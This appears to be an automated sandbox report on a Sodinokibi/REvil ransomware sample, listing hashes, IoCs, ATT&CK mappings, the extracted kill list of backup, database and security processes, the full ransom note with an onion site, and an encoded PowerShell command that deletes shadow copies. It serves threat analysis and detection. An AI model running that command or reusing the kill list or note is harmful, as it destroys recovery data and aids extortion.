sodinokibi | 329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483

General

Target

revil.exe
Size

119KB
MD5

a4331ff805b0a8f2a2892777c224b65e
SHA1

2c5521077dd1a6f5f3558351370880aee9ab7c71
SHA256

329983dc2a23bd951b24780947cb9a6ae3fb80d5ef546e8538dfd9459b176483
SHA512

786a6ffdd7206b0f11dd45921826e3685fe4b64b82b4fa26702a30dcb762d4310b3b55683a8c510175ed6a9086125156e676caa3220597f8ed7298f6cdc51799
SSDEEP

3072:KW5yc3Y4SMQwuOekD96R928A2fFM+/uSxo+HHz/bs/k4OS:K83Y5BAxa92c1rxTnz/Y/k4O

Score

10^/10

sodinokibi $2b$13$wz1rerfdlg.aistldqg5jeqqysemspatwkhdwbpwvrc3ty7akscg6 58 ransomware

Malware Config

Extracted

Family

sodinokibi

Botnet

$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6

Campaign

58

Attributes

net
false
pid
$2b$13$wz1reRfdLg.aiStLDqg5JeqqySemSPatWKHdwbpWVrC3ty7Akscg6
prc
vsnapvss

EnterpriseClient

firefox

infopath

cvd

tv_x64.exe

VeeamTransportSvc

steam

encsvc

mydesktopservice

outlook

synctime

ocssd

SAP

cvfwd

bengien

vxmon

bedbh

ocomm

ocautoupds

raw_agent_svc

oracle

disk+work

powerpnt

saposcol

sqbcoreservice

sapstartsrv

beserver

saphostexec

dbeng50

isqlplussvc

CVODS

DellSystemDetect

CVMountd

TeamViewer.exe

dbsnmp

thunderbird

mspub

wordpad

visio

benetns

QBCFMonitorService

TeamViewer_Service.exe

tv_w32.exe

QBIDPService

winword

thebat

VeeamDeploymentSvc

avagent

QBDBMgrN

mydesktopqos

xfssvccon

sql

tbirdconfig

CagService

pvlsvr

avscc

VeeamNFSSvc

onenote

excel

msaccess

agntsvc
ransom_oneliner
All of your files are encrypted! Find {EXT}-README.txt and follow instuctions
ransom_template
---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have {EXT} extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: {KEY} !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!
sub
58
svc
QBCFMonitorService

thebat

dbeng50

winword

dbsnmp

VeeamTransportSvc

disk+work

TeamViewer_Service.exe

firefox

QBIDPService

steam

onenote

CVMountd

cvd

VeeamDeploymentSvc

VeeamNFSSvc

bedbh

mydesktopqos

avscc

infopath

cvfwd

excel

beserver

powerpnt

mspub

synctime

QBDBMgrN

tv_w32.exe

EnterpriseClient

msaccess

ocssd

mydesktopservice

sqbcoreservice

CVODS

DellSystemDetect

oracle

ocautoupds

wordpad

visio

SAP

bengien

TeamViewer.exe

agntsvc

CagService

avagent

ocomm

outlook

saposcol

xfssvccon

isqlplussvc

pvlsvr

sql

tbirdconfig

vxmon

benetns

tv_x64.exe

encsvc

sapstartsrv

vsnapvss

raw_agent_svc

thunderbird

saphostexec

Extracted

Path

C:\Users\0w17h09g8-README.txt

Ransom Note

---=== Welcome. Again. ===--- [+] What's Happened? [+] Your files have been encrypted and currently unavailable. You can check it. All files in your system have 0w17h09g8 extension. By the way, everything is possible to recover (restore) but you should follow our instructions. Otherwise you can NEVER return your data. [+] What are our guarantees? [+] It's just a business and we care only about getting benefits. If we don't meet our obligations, nobody will deal with us. It doesn't hold our interest. So you can check the ability to restore your files. For this purpose you should visit our website where you can decrypt one file for free. That is our guarantee. It doesn't metter for us whether you cooperate with us or not. But if you don't, you'll lose your time and data cause only we have the private key to decrypt your files. In practice - time is much more valuable than money. [+] How to get access to our website? [+] Use TOR browser: 1. Download and install TOR browser from this site: https://torproject.org/ 2. Visit our website: http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion When you visit our website, put the following data into the input form: Key: 8RL+n4ryDltxjN9XXPvzVn6eR9NbqRAg32lQDQB4NA6SHLY6ef0DIh15hp3KzlpD GbPUyD0KXLP2rzVJ88seU2u0g6RDAKoFCdO8xdgujUMv5WdaVtBlIVufc9KTOB2Q HFn3E52K8v3BQYgFdxRZyukVlKIN7HoCQssaQJY22Ps5JkV//L84PaWHrmmIUO09 qDI5b4Vq7VfR6RE3/P4MFrsVwCJqWbVWBNN46NqT0LknAJaHmEiEaL197uUoGbNp 5tEIi6oydh5AAAeU1jQUlwxkmm34ff2uwp5ZtlAhI7NVGX9uGHMq4OdB7cXgWq88 TF6k/z961bqfD9XZjGktv/7J60FExC0oLRV9hvQLB5XVS7evtxi0mtgChr0sKhzg wWgYjckwx5ua4akWkM7fUY+1odCBO8WiZgFmVCLSudF+LKPUlQ852TKwXojYHqad jeYZ9eCzfiBr4d7l5YfV8ywHPvGzm0OIBERZxXu9/vCprLXxqou7t3OBssNr1A+i ZWLr/uex30ws359cVChquvmIJtKwpW3aXJ8wAav6T7i4h+B0qx83LRkhCD86P9xT K3EmAsSY77FyLWZ5dlPKlNzMgzOSnN8jLZemiCIrtn0ZBsF7hFdQ69tNaBW88fOi MwDR/OX0ZC03U1R5u3XAMzHqfVQhVOVsEAwY30oKG1sDc5hNHs4Pou1g4nN40QKT gs2/PZHG3MvQtswmylL6mRvEd+xki/+VYmY7QS3Z8kqBZH7zRxr6l4CnN9A+hJfH YV11y3/dco+EC1gXjWEtYm37GOP6pwpCVnk+7WWE7Ej5GPH+jaM3wTOhuAQN80uw xk9BwhBWa6/Qnj0bm32SBBXpgDiZDzigEmUCQouu1rNYZORQJ9D+Rodd8jap/GsG YgikeoyzmDSEq6MIK5HPVY6EQP/TVrSB0dxgxSbA6NZ4vh8CR9Ik03U+ngX2EpWe hDvKh2ycRvenTkaPVaY6fbEBZg+giRqh4BT2I5rYXOImZBsfYqBD91WxT07Cat6c SCLyWTWCUWta2XT2vjYqtkg18iG9OD996RRtTmq9q5uD1U5zdDyeAqTTuYp5vnzt UNTMtnsSPXnfxPwBB6xglvgiO8h37hnti3ymV1PZaUpkfWnUmCkhchYQ1cSM+oK0 mh8LVF9UsbxZRxhHGFdXidDmyknlwM49TUBg4k7PIkqS4bT6MX9Sy//yp98fq6/y NBDzwHWoTv9XsWD5+KKKWA1wF27GawuIuOaWS4qEBh6vClMATJuMs8F2OOZvx7zK LO5rdY8E/e26cUokvuigMk5M7bqjh+qy0KsysmD8ijOZidcqcqkXRoc6ZKUD8g0S zlk4wCMxPMbSFtDfdBaB2EAvFc//2PKFVFqpxxZ1Bw14gw== !!! DANGER !!! DON'T try to change files by yourself, DON'T use any third party software or antivirus solutions to restore your data - it may entail the private key damage and as a result all your data loss! !!! !!! !!! ONE MORE TIME: It's in your best interests to get your files back. From our side we (the best specialists in this sphere) ready to make everything for restoring but please do not interfere. !!! !!! !!

URLs

http://4to43yp4mng2gdc3jgnep5bt7lkhqvjqiritbv4x2ebj3qun7wz4y2id.onion

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

revil.exe

description	ioc	process
File opened (read-only)	\??\B:	revil.exe
File opened (read-only)	\??\M:	revil.exe
File opened (read-only)	\??\U:	revil.exe
File opened (read-only)	\??\D:	revil.exe
File opened (read-only)	\??\E:	revil.exe
File opened (read-only)	\??\L:	revil.exe
File opened (read-only)	\??\S:	revil.exe
File opened (read-only)	\??\H:	revil.exe
File opened (read-only)	\??\I:	revil.exe
File opened (read-only)	\??\P:	revil.exe
File opened (read-only)	\??\J:	revil.exe
File opened (read-only)	\??\O:	revil.exe
File opened (read-only)	\??\K:	revil.exe
File opened (read-only)	\??\Y:	revil.exe
File opened (read-only)	\??\A:	revil.exe
File opened (read-only)	\??\V:	revil.exe
File opened (read-only)	\??\Z:	revil.exe
File opened (read-only)	\??\Q:	revil.exe
File opened (read-only)	\??\R:	revil.exe
File opened (read-only)	\??\T:	revil.exe
File opened (read-only)	\??\W:	revil.exe
File opened (read-only)	\??\X:	revil.exe
File opened (read-only)	\??\G:	revil.exe
File opened (read-only)	\??\N:	revil.exe
File opened (read-only)	\??\F:	revil.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

revil.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3308111660-3636268597-2291490419-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\909.bmp"	revil.exe

Drops file in Program Files directory 29 IoCs

Processes:

revil.exe

description	ioc	process
File opened for modification	\??\c:\program files\FormatConnect.mp3	revil.exe
File opened for modification	\??\c:\program files\ConvertExpand.tif	revil.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\0w17h09g8-README.txt	revil.exe
File opened for modification	\??\c:\program files\ConvertFromShow.ini	revil.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\0w17h09g8-README.txt	revil.exe
File opened for modification	\??\c:\program files\ExportSplit.ps1xml	revil.exe
File opened for modification	\??\c:\program files\ReadEnable.midi	revil.exe
File opened for modification	\??\c:\program files\ResetEnable.wmx	revil.exe
File opened for modification	\??\c:\program files\SendUnregister.iso	revil.exe
File opened for modification	\??\c:\program files\TraceMove.vstm	revil.exe
File opened for modification	\??\c:\program files\CloseInitialize.mpeg	revil.exe
File opened for modification	\??\c:\program files\SubmitRevoke.ex_	revil.exe
File created	\??\c:\program files (x86)\0w17h09g8-README.txt	revil.exe
File opened for modification	\??\c:\program files\CompleteSearch.jpeg	revil.exe
File opened for modification	\??\c:\program files\DebugReceive.xlsm	revil.exe
File opened for modification	\??\c:\program files\OutRedo.vbs	revil.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\0w17h09g8-README.txt	revil.exe
File opened for modification	\??\c:\program files\AddInstall.vdx	revil.exe
File opened for modification	\??\c:\program files\SearchImport.wma	revil.exe
File opened for modification	\??\c:\program files\StartComplete.vdw	revil.exe
File opened for modification	\??\c:\program files\SetPush.rle	revil.exe
File opened for modification	\??\c:\program files\TestClose.mp3	revil.exe
File created	\??\c:\program files\0w17h09g8-README.txt	revil.exe
File opened for modification	\??\c:\program files\DisconnectConfirm.aiff	revil.exe
File opened for modification	\??\c:\program files\HideSwitch.avi	revil.exe
File opened for modification	\??\c:\program files\LimitResume.eprtx	revil.exe
File opened for modification	\??\c:\program files\ResolveUnlock.m3u	revil.exe
File opened for modification	\??\c:\program files\SelectConvert.ini	revil.exe
File opened for modification	\??\c:\program files\TestExpand.m4v	revil.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

revil.exepowershell.exe

pid process

2272 revil.exe
2940 powershell.exe

pid	process
2272	revil.exe
2940	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

revil.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2272	revil.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeBackupPrivilege	2588	vssvc.exe
Token: SeRestorePrivilege	2588	vssvc.exe
Token: SeAuditPrivilege	2588	vssvc.exe
Token: SeTakeOwnershipPrivilege	2272	revil.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

revil.exe

description	pid	process	target process
PID 2272 wrote to memory of 2940	2272	revil.exe	powershell.exe
PID 2272 wrote to memory of 2940	2272	revil.exe	powershell.exe
PID 2272 wrote to memory of 2940	2272	revil.exe	powershell.exe
PID 2272 wrote to memory of 2940	2272	revil.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\revil.exe
"C:\Users\Admin\AppData\Local\Temp\revil.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2940

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\0w17h09g8-README.txt

Filesize
6KB

MD5
c6ec02fba0560935c299e41bfab299e4

SHA1
fea844d38f3af926ac46ad26a636ce0ef9ca02ad

SHA256
e060639909323d1d305d6b6ad386e9c421f5d14326b2ed0616d6781d8c966704

SHA512
a01ece41498866eb24cb9a03fbec9306d09662a4f1c85b193846b4d06339fe9cb236fb3676bb1fc783b402c87217008e9a4000065bbc18e8d10952b0f24f01bd

Download Submit
memory/2272-0-0x0000000000020000-0x0000000000040000-memory.dmp

Filesize
128KB

Download
memory/2272-1-0x0000000000020000-0x0000000000040000-memory.dmp

Filesize
128KB

Download
memory/2272-523-0x0000000000020000-0x0000000000040000-memory.dmp

Filesize
128KB

Download
memory/2272-505-0x0000000000020000-0x0000000000040000-memory.dmp

Filesize
128KB

Download
memory/2272-14-0x0000000000020000-0x0000000000040000-memory.dmp

Filesize
128KB

Download
memory/2940-10-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-11-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2940-12-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2940-13-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-9-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/2940-8-0x000007FEF5490000-0x000007FEF5E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2940-7-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download
memory/2940-6-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads